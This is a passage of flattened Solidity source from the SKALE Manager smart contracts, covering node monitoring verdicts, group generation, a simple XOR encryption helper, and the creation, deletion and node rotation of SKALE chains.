(receiveVerdict) { data.addVerdict(keccak256(abi.encodePacked(toNodeIndex)), downtime, latency); } emit VerdictWasSent( fromMonitorIndex, toNodeIndex, downtime, latency, receiveVerdict, uint32(block.timestamp), gasleft()); } function calculateMetrics(uint nodeIndex) external allow(executorName) returns (uint32 averageDowntime, uint32 averageLatency) { MonitorsData data = MonitorsData(contractManager.getContract("MonitorsData")); bytes32 monitorIndex = keccak256(abi.encodePacked(nodeIndex)); uint lengthOfArray = data.getLengthOfMetrics(monitorIndex); uint32[] memory downtimeArray = new uint32[](lengthOfArray); uint32[] memory latencyArray = new uint32[](lengthOfArray); for (uint i = 0; i < lengthOfArray; i++) { downtimeArray[i] = data.verdicts(monitorIndex, i, 0); latencyArray[i] = data.verdicts(monitorIndex, i, 1); } if (lengthOfArray > 0) { averageDowntime = median(downtimeArray); averageLatency = median(latencyArray); data.removeAllVerdicts(monitorIndex); } } function initialize(address _contractManager) public initializer { GroupsFunctionality.initialize( "SkaleManager", "MonitorsData", _contractManager); } function generateGroup(bytes32 groupIndex) internal allow(executorName) returns (uint[] memory) { address dataAddress = contractManager.getContract(dataName); address nodesDataAddress = contractManager.getContract("NodesData"); require(IGroupsData(dataAddress).isGroupActive(groupIndex), "Group is not active"); uint exceptionNode = uint(IGroupsData(dataAddress).getGroupData(groupIndex)); uint[] memory activeNodes = INodesData(nodesDataAddress).getActiveNodeIds(); uint numberOfNodesInGroup = IGroupsData(dataAddress).getRecommendedNumberOfNodes(groupIndex); uint availableAmount = activeNodes.length.sub((INodesData(nodesDataAddress).isNodeActive(exceptionNode)) ? 1 : 0); if (numberOfNodesInGroup > availableAmount) { numberOfNodesInGroup = availableAmount; } uint[] memory nodesInGroup = new uint[](numberOfNodesInGroup); uint ignoringTail = 0; uint random = uint(keccak256(abi.encodePacked(uint(blockhash(block.number - 1)), groupIndex))); for (uint i = 0; i < nodesInGroup.length; ++i) { uint index = random % (activeNodes.length.sub(ignoringTail)); if (activeNodes[index] == exceptionNode) { swap(activeNodes, index, activeNodes.length.sub(ignoringTail) - 1); ++ignoringTail; index = random % (activeNodes.length.sub(ignoringTail)); } nodesInGroup[i] = activeNodes[index]; swap(activeNodes, index, activeNodes.length.sub(ignoringTail) - 1); ++ignoringTail; IGroupsData(dataAddress).setNodeInGroup(groupIndex, nodesInGroup[i]); } emit GroupGenerated( groupIndex, nodesInGroup, uint32(block.timestamp), gasleft()); return nodesInGroup; } function median(uint32[] memory values) internal pure returns (uint32) { if (values.length < 1) { revert("Can't calculate median of empty array"); } quickSort(values, 0, values.length - 1); return values[values.length / 2]; } function setNumberOfNodesInGroup(bytes32 groupIndex, bytes32 groupData) internal view returns (uint numberOfNodes, uint finish) { address nodesDataAddress = contractManager.getContract("NodesData"); address dataAddress = contractManager.getContract(dataName); numberOfNodes = INodesData(nodesDataAddress).getNumberOfNodes(); uint numberOfActiveNodes = INodesData(nodesDataAddress).numberOfActiveNodes(); uint numberOfExceptionNodes = (INodesData(nodesDataAddress).isNodeActive(uint(groupData)) ? 1 : 0); uint recommendedNumberOfNodes = IGroupsData(dataAddress).getRecommendedNumberOfNodes(groupIndex); finish = (recommendedNumberOfNodes > numberOfActiveNodes.sub(numberOfExceptionNodes) ? numberOfActiveNodes.sub(numberOfExceptionNodes) : recommendedNumberOfNodes); } function comparator(bytes32 groupIndex, uint indexOfNode) internal view returns (bool) { address nodesDataAddress = contractManager.getContract("NodesData"); address dataAddress = contractManager.getContract(dataName); return INodesData(nodesDataAddress).isNodeActive(indexOfNode) && !IGroupsData(dataAddress).isExceptionNode(groupIndex, indexOfNode); } function setMonitors(bytes32 groupIndex, uint nodeIndex) internal returns (uint) { MonitorsData data = MonitorsData(contractManager.getContract("MonitorsData")); data.setException(groupIndex, nodeIndex); uint[] memory indexOfNodesInGroup = generateGroup(groupIndex); bytes32 bytesParametersOfNodeIndex = getDataToBytes(nodeIndex); for (uint i = 0; i < indexOfNodesInGroup.length; i++) { bytes32 index = keccak256(abi.encodePacked(indexOfNodesInGroup[i])); data.addCheckedNode(index, bytesParametersOfNodeIndex); } emit MonitorsArray( nodeIndex, groupIndex, indexOfNodesInGroup, uint32(block.timestamp), gasleft()); return indexOfNodesInGroup.length; } function find(bytes32 monitorIndex, uint nodeIndex) internal view returns (uint index, uint32 time) { MonitorsData data = MonitorsData(contractManager.getContract("MonitorsData")); bytes32[] memory checkedNodes = data.getCheckedArray(monitorIndex); uint possibleIndex; uint32 possibleTime; index = checkedNodes.length; for (uint i = 0; i < checkedNodes.length; i++) { (possibleIndex, possibleTime) = getDataFromBytes(checkedNodes[i]); if (possibleIndex == nodeIndex && (time == 0 || possibleTime < time)) { index = i; time = possibleTime; } } } function quickSort(uint32[] memory array, uint left, uint right) internal pure { uint leftIndex = left; uint rightIndex = right; uint32 middle = array[(right.add(left)) / 2]; while (leftIndex <= rightIndex) { while (array[leftIndex] < middle) { leftIndex++; } while (middle < array[rightIndex]) { rightIndex--; } if (leftIndex <= rightIndex) { (array[leftIndex], array[rightIndex]) = (array[rightIndex], array[leftIndex]); leftIndex++; rightIndex = (rightIndex > 0 ? rightIndex - 1 : 0); } } if (left < rightIndex) quickSort(array, left, rightIndex); if (leftIndex < right) quickSort(array, leftIndex, right); } function getDataFromBytes(bytes32 data) internal pure returns (uint index, uint32 time) { bytes memory tempBytes = new bytes(32); bytes14 bytesIndex; bytes14 bytesTime; assembly { mstore(add(tempBytes, 32), data) bytesIndex := mload(add(tempBytes, 32)) bytesTime := mload(add(tempBytes, 46)) } index = uint112(bytesIndex); time = uint32(uint112(bytesTime)); } function getDataToBytes(uint nodeIndex) internal view returns (bytes32 bytesParameters) { address constantsAddress = contractManager.getContract("ConstantsHolder"); address nodesDataAddress = contractManager.getContract("NodesData"); bytes memory tempData = new bytes(32); bytes14 bytesOfIndex = bytes14(uint112(nodeIndex)); bytes14 bytesOfTime = bytes14( uint112(INodesData(nodesDataAddress).getNodeNextRewardDate(nodeIndex).sub(IConstants(constantsAddress).deltaPeriod())) ); bytes4 ip = INodesData(nodesDataAddress).getNodeIP(nodeIndex); assembly { mstore(add(tempData, 32), bytesOfIndex) mstore(add(tempData, 46), bytesOfTime) mstore(add(tempData, 60), ip) bytesParameters := mload(add(tempData, 32)) } } } /* Decryption.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.0; contract Decryption { function encrypt(uint256 secretNumber, bytes32 key) external pure returns (bytes32 ciphertext) { bytes32 numberBytes = bytes32(secretNumber); bytes memory tmp = new bytes(32); for (uint8 i = 0; i < 32; i++) { tmp[i] = numberBytes[i] ^ key[i]; } assembly { ciphertext := mload(add(tmp, 32)) } } function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256 secretNumber) { bytes memory tmp = new bytes(32); for (uint8 i = 0; i < 32; i++) { tmp[i] = ciphertext[i] ^ key[i]; } bytes32 numberBytes; assembly { numberBytes := mload(add(tmp, 32)) } secretNumber = uint256(numberBytes); } } /* GroupsFunctionality.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./Permissions.sol"; import "./interfaces/IGroupsData.sol"; /** * @title SkaleVerifier - interface of SkaleVerifier */ interface ISkaleVerifier { function verify( uint sigx, uint sigy, uint hashx, uint hashy, uint pkx1, uint pky1, uint pkx2, uint pky2) external view returns (bool); } /** * @title GroupsFunctionality - contract with some Groups functionality, will be inherited by * MonitorsFunctionality and SchainsFunctionality */ contract GroupsFunctionality is Permissions { // informs that Group is added event GroupAdded( bytes32 groupIndex, bytes32 groupData, uint32 time, uint gasSpend ); // informs that an exception set in Group event ExceptionSet( bytes32 groupIndex, uint exceptionNodeIndex, uint32 time, uint gasSpend ); // informs that Group is deleted event GroupDeleted( bytes32 groupIndex, uint32 time, uint gasSpend ); // informs that Group is upgraded event GroupUpgraded( bytes32 groupIndex, bytes32 groupData, uint32 time, uint gasSpend ); // informs that Group is generated event GroupGenerated( bytes32 groupIndex, uint[] nodesInGroup, uint32 time, uint gasSpend ); // name of executor contract string executorName; // name of data contract string dataName; /** * @dev verifySignature - verify signature which create Group by Groups BLS master public key * @param groupIndex - Groups identifier * @param signatureX - first part of BLS signature * @param signatureY - second part of BLS signature * @param hashX - first part of hashed message * @param hashY - second part of hashed message * @return true - if correct, false - if not */ function verifySignature( bytes32 groupIndex, uint signatureX, uint signatureY, uint hashX, uint hashY) external view returns (bool) { address groupsDataAddress = contractManager.getContract(dataName); uint publicKeyx1; uint publicKeyy1; uint publicKeyx2; uint publicKeyy2; (publicKeyx1, publicKeyy1, publicKeyx2, publicKeyy2) = IGroupsData(groupsDataAddress).getGroupsPublicKey(groupIndex); address skaleVerifierAddress = contractManager.getContract("SkaleVerifier"); return ISkaleVerifier(skaleVerifierAddress).verify( signatureX, signatureY, hashX, hashY, publicKeyx1, publicKeyy1, publicKeyx2, publicKeyy2 ); } /** * @dev contructor in Permissions approach * @param newExecutorName - name of executor contract * @param newDataName - name of data contract * @param newContractsAddress needed in Permissions constructor */ function initialize(string memory newExecutorName, string memory newDataName, address newContractsAddress) public initializer { Permissions.initialize(newContractsAddress); executorName = newExecutorName; dataName = newDataName; } /** * @dev addGroup - creates and adds new Group to Data contract * function could be run only by executor * @param groupIndex - Groups identifier * @param newRecommendedNumberOfNodes - recommended number of Nodes * @param data - some extra data */ function addGroup(bytes32 groupIndex, uint newRecommendedNumberOfNodes, bytes32 data) public allow(executorName) { address groupsDataAddress = contractManager.getContract(dataName); IGroupsData(groupsDataAddress).addGroup(groupIndex, newRecommendedNumberOfNodes, data); emit GroupAdded( groupIndex, data, uint32(block.timestamp), gasleft()); } /** * @dev deleteGroup - delete Group from Data contract * function could be run only by executor * @param groupIndex - Groups identifier */ function deleteGroup(bytes32 groupIndex) public allow(executorName) { address groupsDataAddress = contractManager.getContract(dataName); require(IGroupsData(groupsDataAddress).isGroupActive(groupIndex), "Group is not active"); IGroupsData(groupsDataAddress).removeGroup(groupIndex); IGroupsData(groupsDataAddress).removeAllNodesInGroup(groupIndex); emit GroupDeleted(groupIndex, uint32(block.timestamp), gasleft()); } /** * @dev upgradeGroup - upgrade Group at Data contract * function could be run only by executor * @param groupIndex - Groups identifier * @param newRecommendedNumberOfNodes - recommended number of Nodes * @param data - some extra data */ function upgradeGroup(bytes32 groupIndex, uint newRecommendedNumberOfNodes, bytes32 data) public allow(executorName) { address groupsDataAddress = contractManager.getContract(dataName); require(IGroupsData(groupsDataAddress).isGroupActive(groupIndex), "Group is not active"); IGroupsData(groupsDataAddress).removeGroup(groupIndex); IGroupsData(groupsDataAddress).removeAllNodesInGroup(groupIndex); IGroupsData(groupsDataAddress).addGroup(groupIndex, newRecommendedNumberOfNodes, data); emit GroupUpgraded( groupIndex, data, uint32(block.timestamp), gasleft()); } /** * @dev findNode - find local index of Node in Schain * @param groupIndex - Groups identifier * @param nodeIndex - global index of Node * @return local index of Node in Schain */ function findNode(bytes32 groupIndex, uint nodeIndex) internal view returns (uint index) { address groupsDataAddress = contractManager.getContract(dataName); uint[] memory nodesInGroup = IGroupsData(groupsDataAddress).getNodesInGroup(groupIndex); for (index = 0; index < nodesInGroup.length; index++) { if (nodesInGroup[index] == nodeIndex) { return index; } } return index; } /** * @dev generateGroup - abstract method which would be implemented in inherited contracts * function generates group of Nodes * @param groupIndex - Groups identifier * return array of indexes of Nodes in Group */ function generateGroup(bytes32 groupIndex) internal returns (uint[] memory); function swap(uint[] memory array, uint index1, uint index2) internal pure { uint buffer = array[index1]; array[index1] = array[index2]; array[index2] = buffer; } } /* SchainsFunctionality.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./interfaces/IConstants.sol"; import "./interfaces/IGroupsData.sol"; import "./interfaces/ISchainsFunctionality.sol"; import "./interfaces/ISchainsFunctionalityInternal.sol"; import "./interfaces/INodesData.sol"; import "./SchainsData.sol"; import "./SchainsFunctionalityInternal.sol"; /** * @title SchainsFunctionality - contract contains all functionality logic to manage Schains */ contract SchainsFunctionality is Permissions, ISchainsFunctionality { using StringUtils for string; using StringUtils for uint; struct SchainParameters { uint lifetime; uint typeOfSchain; uint16 nonce; string name; } // informs that Schain is created event SchainCreated( string name, address owner, uint partOfNode, uint lifetime, uint numberOfNodes, uint deposit, uint16 nonce, bytes32 groupIndex, uint32 time, uint gasSpend ); event SchainDeleted( address owner, string name, bytes32 indexed schainId ); event NodeRotated( bytes32 groupIndex, uint oldNode, uint newNode ); event NodeAdded( bytes32 groupIndex, uint newNode ); string executorName; string dataName; /** * @dev addSchain - create Schain in the system * function could be run only by executor * @param from - owner of Schain * @param deposit - received amoung of SKL * @param data - Schain's data */ function addSchain(address from, uint deposit, bytes calldata data) external allow(executorName) { uint numberOfNodes; uint8 partOfNode; address schainsFunctionalityInternalAddress = contractManager.getContract("SchainsFunctionalityInternal"); SchainParameters memory schainParameters = fallbackSchainParametersDataConverter(data); require(schainParameters.typeOfSchain <= 5, "Invalid type of Schain"); require(getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit, "Not enough money to create Schain"); //initialize Schain initializeSchainInSchainsData( schainParameters.name, from, deposit, schainParameters.lifetime); // create a group for Schain (numberOfNodes, partOfNode) = ISchainsFunctionalityInternal( schainsFunctionalityInternalAddress ).getNodesDataFromTypeOfSchain(schainParameters.typeOfSchain); ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).createGroupForSchain( schainParameters.name, keccak256(abi.encodePacked(schainParameters.name)), numberOfNodes, partOfNode); emit SchainCreated( schainParameters.name, from, partOfNode, schainParameters.lifetime, numberOfNodes, deposit, schainParameters.nonce, keccak256(abi.encodePacked(schainParameters.name)), uint32(block.timestamp), gasleft()); } /** * @dev deleteSchain - removes Schain from the system * function could be run only by executor * @param from - owner of Schain * @param name - Schain name */ function deleteSchain(address from, string calldata name) external allow(executorName) { bytes32 schainId = keccak256(abi.encodePacked(name)); address dataAddress = contractManager.getContract(dataName); require(SchainsData(dataAddress).isOwnerAddress(from, schainId), "Message sender is not an owner of Schain"); address schainsFunctionalityInternalAddress = contractManager.getContract("SchainsFunctionalityInternal"); // removes Schain from Nodes uint[] memory nodesInGroup = IGroupsData(dataAddress).getNodesInGroup(schainId); uint8 partOfNode = SchainsData(dataAddress).getSchainsPartOfNode(schainId); for (uint i = 0; i < nodesInGroup.length; i++) { uint schainIndex = ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).findSchainAtSchainsForNode( nodesInGroup[i], schainId ); require( schainIndex < SchainsData(dataAddress).getLengthOfSchainsForNode(nodesInGroup[i]), "Some Node does not contain given Schain"); ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).removeNodeFromSchain(nodesInGroup[i], schainId); ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).removeNodeFromExceptions(schainId, nodesInGroup[i]); addSpace(nodesInGroup[i], partOfNode); } ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).deleteGroup(schainId); SchainsData(dataAddress).removeSchain(schainId, from); SchainsData(dataAddress).removeRotation(schainId); emit SchainDeleted(from, name, schainId); } function deleteSchainByRoot(string calldata name) external allow(executorName) { bytes32 schainId = keccak256(abi.encodePacked(name)); address dataAddress = contractManager.getContract(dataName); address schainsFunctionalityInternalAddress = contractManager.getContract("SchainsFunctionalityInternal"); require(SchainsData(dataAddress).isSchainExist(schainId), "Schain does not exist"); // removes Schain from Nodes uint[] memory nodesInGroup = IGroupsData(dataAddress).getNodesInGroup(schainId); uint8 partOfNode = SchainsData(dataAddress).getSchainsPartOfNode(schainId); for (uint i = 0; i < nodesInGroup.length; i++) { uint schainIndex = ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).findSchainAtSchainsForNode( nodesInGroup[i], schainId ); require( schainIndex < SchainsData(dataAddress).getLengthOfSchainsForNode(nodesInGroup[i]), "Some Node does not contain given Schain"); ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).removeNodeFromSchain(nodesInGroup[i], schainId); ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).removeNodeFromExceptions(schainId, nodesInGroup[i]); addSpace(nodesInGroup[i], partOfNode); } ISchainsFunctionalityInternal(schainsFunctionalityInternalAddress).deleteGroup(schainId); address from = SchainsData(dataAddress).getSchainOwner(schainId); SchainsData(dataAddress).removeSchain(schainId, from); SchainsData(dataAddress).removeRotation(schainId); emit SchainDeleted(from, name, schainId); } function exitFromSchain(uint nodeIndex) external allow(executorName) returns (bool) { SchainsData schainsData = SchainsData(contractManager.getContract(dataName)); bytes32 schainId = schainsData.getActiveSchain(nodeIndex); require(this.checkRotation(schainId), "No any free Nodes for rotating"); uint newNodeIndex = this.rotateNode(nodeIndex, schainId); schainsData.finishRotation(schainId, nodeIndex, newNodeIndex); return schainsData.getActiveSchain(nodeIndex) == bytes32(0) ? true : false; } function checkRotation(bytes32 schainId ) external view returns (bool) { SchainsData schainsData = SchainsData(contractManager.getContract(dataName)); require(schainsData.isSchainExist(schainId), "Schain does not exist"); SchainsFunctionalityInternal schainsFunctionalityInternal = SchainsFunctionalityInternal( contractManager.getContract("SchainsFunctionalityInternal")); return schainsFunctionalityInternal.isAnyFreeNode(schainId); } function rotateNode(uint nodeIndex, bytes32 schainId) external allowTwo("SkaleDKG", "SchainsFunctionality") returns (uint) { SchainsFunctionalityInternal schainsFunctionalityInternal = SchainsFunctionalityInternal( contractManager.getContract("SchainsFunctionalityInternal")); schainsFunctionalityInternal.removeNodeFromSchain(nodeIndex, schainId); return schainsFunctionalityInternal.selectNodeToGroup(schainId); } function freezeSchains(uint nodeIndex) external allow(executorName) { SchainsData schainsData = SchainsData(contractManager.getContract("SchainsData")); bytes32[] memory schains = schainsData.getActiveSchains(nodeIndex); for (uint i = 0; i < schains.length; i++) { SchainsData.Rotation memory rotation = schainsData.getRotation(schains[i]); if (rotation.nodeIndex == nodeIndex && now < rotation.freezeUntil) { continue; } string memory schainName = schainsData.getSchainName(schains[i]); string memory revertMessage = "Node cannot rotate on Schain "; revertMessage = revertMessage.strConcat(schainName); revertMessage = revertMessage.strConcat(", occupied by Node "); revertMessage = revertMessage.strConcat(rotation.nodeIndex.uint2str()); require(rotation.freezeUntil < now, revertMessage); schainsData.startRotation(schains[i], nodeIndex); } } function restartSchainCreation(string calldata name) external allow(executorName) { bytes32 schainId = keccak256(abi.encodePacked(name)); address dataAddress = contractManager.getContract(dataName); require(IGroupsData(dataAddress).isGroupFailedDKG(schainId), "DKG success"); SchainsFunctionalityInternal schainsFunctionalityInternal = SchainsFunctionalityInternal( contractManager.getContract("SchainsFunctionalityInternal")); require(schainsFunctionalityInternal.isAnyFreeNode(schainId), "No any free Nodes for rotation"); uint newNodeIndex = schainsFunctionalityInternal.selectNodeToGroup(schainId); emit NodeAdded(schainId, newNodeIndex); } function initialize(address newContractsAddress) public initializer { Permissions.initialize(newContractsAddress); executorName = "SkaleManager"; dataName = "SchainsData"; } /** * @dev getSchainPrice - returns current price for given Schain * @param typeOfSchain - type of Schain * @param lifetime - lifetime of Schain * @return current price for given Schain */ function getSchainPrice(uint typeOfSchain, uint lifetime) public view returns (uint) { address constantsAddress = contractManager.getContract("ConstantsHolder"); address schainsFunctionalityInternalAddress = contractManager.getContract("SchainsFunctionalityInternal"); uint nodeDeposit = IConstants(constantsAddress).NODE_DEPOSIT(); uint numberOfNodes; uint8 divisor; (numberOfNodes, divisor) = ISchainsFunctionalityInternal( schainsFunctionalityInternalAddress ).getNodesDataFromTypeOfSchain(typeOfSchain); // /*uint up; // uint down; // (up, down) = coefficientForPrice(constantsAddress);*/ if (divisor == 0) { return 1e18; } else { uint up = nodeDeposit.mul(numberOfNodes.mul(lifetime.mul(2))); uint down = uint(uint(IConstants(constantsAddress).TINY_DIVISOR()).div(divisor).mul(uint(IConstants(constantsAddress).SECONDS_TO_YEAR()))); return up.div(down); } } function initializeSchainInSchainsData( string memory name, address from, uint deposit, uint lifetime) internal { address dataAddress = contractManager.getContract(dataName); require(SchainsData(dataAddress).isSchainNameAvailable(name), "Schain name is not available"); // initialize Schain SchainsData(dataAddress).initializeSchain( name, from, lifetime, deposit); SchainsData(dataAddress).setSchainIndex(keccak256(abi.encodePacked(name)), from); } /** * @dev fallbackSchainParameterDataConverter - converts data from bytes to normal parameters * @param data - concatenated parameters * @return lifetime * @return typeOfSchain * @return nonce * @return name */ function fallbackSchainParametersDataConverter(bytes memory data) internal pure returns (SchainParameters memory schainParameters) { require(data.length > 36, "Incorrect bytes data config"); bytes32 lifetimeInBytes; bytes1 typeOfSchainInBytes; bytes2 nonceInBytes; assembly { lifetimeInBytes := mload(add(data, 33)) typeOfSchainInBytes := mload(add(data, 65)) nonceInBytes := mload(add(data, 66)) } schainParameters.typeOfSchain = uint(uint8(typeOfSchainInBytes)); schainParameters.lifetime = uint(lifetimeInBytes); schainParameters.nonce = uint16(nonceInBytes); schainParameters.name = new string(data.length - 36); for (uint i = 0; i < bytes(schainParameters.name).length; ++i) { bytes(schainParameters.name)[i] = data[36 + i]; } } /** * @dev addSpace - return occupied space to Node * @param nodeIndex - index of Node at common array of Nodes * @param partOfNode - divisor of given type of Schain */ function addSpace(uint nodeIndex, uint8 partOfNode) internal { address nodesDataAddress = contractManager.getContract("NodesData"); INodesData(nodesDataAddress).addSpaceToNode(nodeIndex, partOfNode); } } /* SchainsData.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; pragma experimental ABIEncoderV2; import "./GroupsData.sol"; import "./interfaces/IConstants.sol"; /** * @title SchainsData - Data contract for SchainsFunctionality. * Contain all information about SKALE-Chains. */ contract SchainsData is GroupsData { struct Schain { string name; address owner; uint indexInOwnerList; uint8 partOfNode; uint lifetime; uint32 startDate; uint startBlock; uint deposit; uint64 index; } /** nodeIndex - index of Node which is in process of rotation startedRotation - timestamp of starting node rotation inRotation - if true, only nodeIndex able to rotate */ struct Rotation { uint nodeIndex; uint newNodeIndex; uint freezeUntil; uint rotationCounter; } struct LeavingHistory { bytes32 schainIndex; uint finishedRotation; } // mapping which contain all schains mapping (bytes32 => Schain) public schains; // mapping shows schains by owner's address mapping (address => bytes32[]) public schainIndexes; // mapping shows schains which Node composed in mapping (uint => bytes32[]) public schainsForNodes; mapping (uint => uint[]) public holesForNodes; mapping (bytes32 => Rotation) public rotations; mapping (uint => LeavingHistory[]) public leavingHistory; // array which contain all schains bytes32[] public schainsAtSystem; uint64 public numberOfSchains; // total resources that schains occupied uint public sumOfSchainsResources; /** * @dev initializeSchain - initializes Schain * function could be run only by executor * @param name - SChain name * @param from - Schain owner * @param lifetime - initial lifetime of Schain * @param deposit - given amount of SKL */ function initializeSchain( string calldata name, address from, uint lifetime, uint deposit) external allow("SchainsFunctionality") { bytes32 schainId = keccak256(abi.encodePacked(name)); schains[schainId].name = name; schains[schainId].owner = from; schains[schainId].startDate = uint32(block.timestamp); schains[schainId].startBlock = block.number; schains[schainId].lifetime = lifetime; schains[schainId].deposit = deposit; schains[schainId].index = numberOfSchains; numberOfSchains++; schainsAtSystem.push(schainId); } /** * @dev setSchainIndex - adds Schain's hash to owner * function could be run only by executor * @param schainId - hash by Schain name * @param from - Schain owner */ function setSchainIndex(bytes32 schainId, address from) external allow("SchainsFunctionality") { schains[schainId].indexInOwnerList = schainIndexes[from].length; schainIndexes[from].push(schainId); } /** * @dev addSchainForNode - adds Schain hash to Node * function could be run only by executor * @param nodeIndex - index of Node * @param schainId - hash by Schain name */ function addSchainForNode(uint nodeIndex, bytes32 schainId) external allow(executorName) { if (holesForNodes[nodeIndex].length == 0) { schainsForNodes[nodeIndex].push(schainId); } else { schainsForNodes[nodeIndex][holesForNodes[nodeIndex][0]] = schainId; uint min = uint(-1); uint index = 0; for (uint i = 1; i < holesForNodes[nodeIndex].length; i++) { if (min > holesForNodes[nodeIndex][i]) { min = holesForNodes[nodeIndex][i]; index = i; } } if (min == uint(-1)) { delete holesForNodes[nodeIndex]; } else { holesForNodes[nodeIndex][0] = min; holesForNodes[nodeIndex][index] = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1]; delete holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1]; holesForNodes[nodeIndex].length--; } } } /** * @dev setSchainPartOfNode - sets how much Schain would be occupy of Node * function could be run onlye by executor * @param schainId - hash by Schain name * @param partOfNode - occupied space */ function setSchainPartOfNode(bytes32 schainId, uint8 partOfNode) external allow(executorName) { schains[schainId].partOfNode = partOfNode; if (partOfNode > 0) { sumOfSchainsResources = sumOfSchainsResources.add((128 / partOfNode) * groups[schainId].nodesInGroup.length); } } /** * @dev changeLifetime - changes Lifetime for Schain * function could be run only by executor * @param schainId - hash by Schain name * @param lifetime - time which would be added to lifetime of Schain * @param deposit - amount of SKL which payed for this time */ function changeLifetime(bytes32 schainId, uint lifetime, uint deposit) external allow("SchainsFunctionality") { schains[schainId].deposit = schains[schainId].deposit.add(deposit); schains[schainId].lifetime = schains[schainId].lifetime.add(lifetime); } /** * @dev removeSchain - removes Schain from the system * function could be run only by executor * @param schainId - hash by Schain name * @param from - owner of Schain */ function removeSchain(bytes32 schainId, address from) external allow("SchainsFunctionality") { uint length = schainIndexes[from].length; uint index = schains[schainId].indexInOwnerList; if (index != length - 1) { bytes32 lastSchainId = schainIndexes[from][length - 1]; schains[lastSchainId].indexInOwnerList = index; schainIndexes[from][index] = lastSchainId; } delete schainIndexes[from][length - 1]; schainIndexes[from].length--; // TODO: // optimize for (uint i = 0; i + 1 < schainsAtSystem.length; i++) { if (schainsAtSystem[i] == schainId) { schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length - 1]; break; } } delete schainsAtSystem[schainsAtSystem.length - 1]; schainsAtSystem.length--; delete schains[schainId]; numberOfSchains--; } /** * @dev removesSchainForNode - clean given Node of Schain * function could be run only by executor * @param nodeIndex - index of Node * @param schainIndex - index of Schain in schainsForNodes array by this Node */ function removeSchainForNode(uint nodeIndex, uint schainIndex) external allow("SchainsFunctionalityInternal") { uint length = schainsForNodes[nodeIndex].length; if (schainIndex == length - 1) { delete schainsForNodes[nodeIndex][length - 1]; schainsForNodes[nodeIndex].length--; } else { schainsForNodes[nodeIndex][schainIndex] = bytes32(0); if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) { uint hole = holesForNodes[nodeIndex][0]; holesForNodes[nodeIndex][0] = schainIndex; holesForNodes[nodeIndex].push(hole); } else { holesForNodes[nodeIndex].push(schainIndex); } } } function startRotation(bytes32 schainIndex, uint nodeIndex) external allow("SchainsFunctionality") { IConstants constants = IConstants(contractManager.getContract("ConstantsHolder")); rotations[schainIndex].nodeIndex = nodeIndex; rotations[schainIndex].freezeUntil = now + constants.rotationDelay(); } function finishRotation(bytes32 schainIndex, uint nodeIndex, uint newNodeIndex) external allow("SchainsFunctionality") { IConstants constants = IConstants(contractManager.getContract("ConstantsHolder")); leavingHistory[nodeIndex].push(LeavingHistory(schainIndex, now + constants.rotationDelay())); rotations[schainIndex].newNodeIndex = newNodeIndex; rotations[schainIndex].rotationCounter++; } function removeRotation(bytes32 schainIndex) external allow("SchainsFunctionality") { delete rotations[schainIndex]; } function skipRotationDelay(bytes32 schainIndex) external onlyOwner { rotations[schainIndex].freezeUntil = now; } function getRotation(bytes32 schainIndex) external view returns (Rotation memory) { return rotations[schainIndex]; } function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory) { return leavingHistory[nodeIndex]; } /** * @dev getSchains - gets all Schains at the system * @return array of hashes by Schain names */ function getSchains() external view returns (bytes32[] memory) { return schainsAtSystem; } /** * @dev getSchainsPartOfNode - gets occupied space for given Schain * @param schainId - hash by Schain name * @return occupied space */ function getSchainsPartOfNode(bytes32 schainId) external view returns (uint8) { return schains[schainId].partOfNode; } /** * @dev getSchainListSize - gets number of created Schains at the system by owner * @param from - owner of Schain * return number of Schains */ function 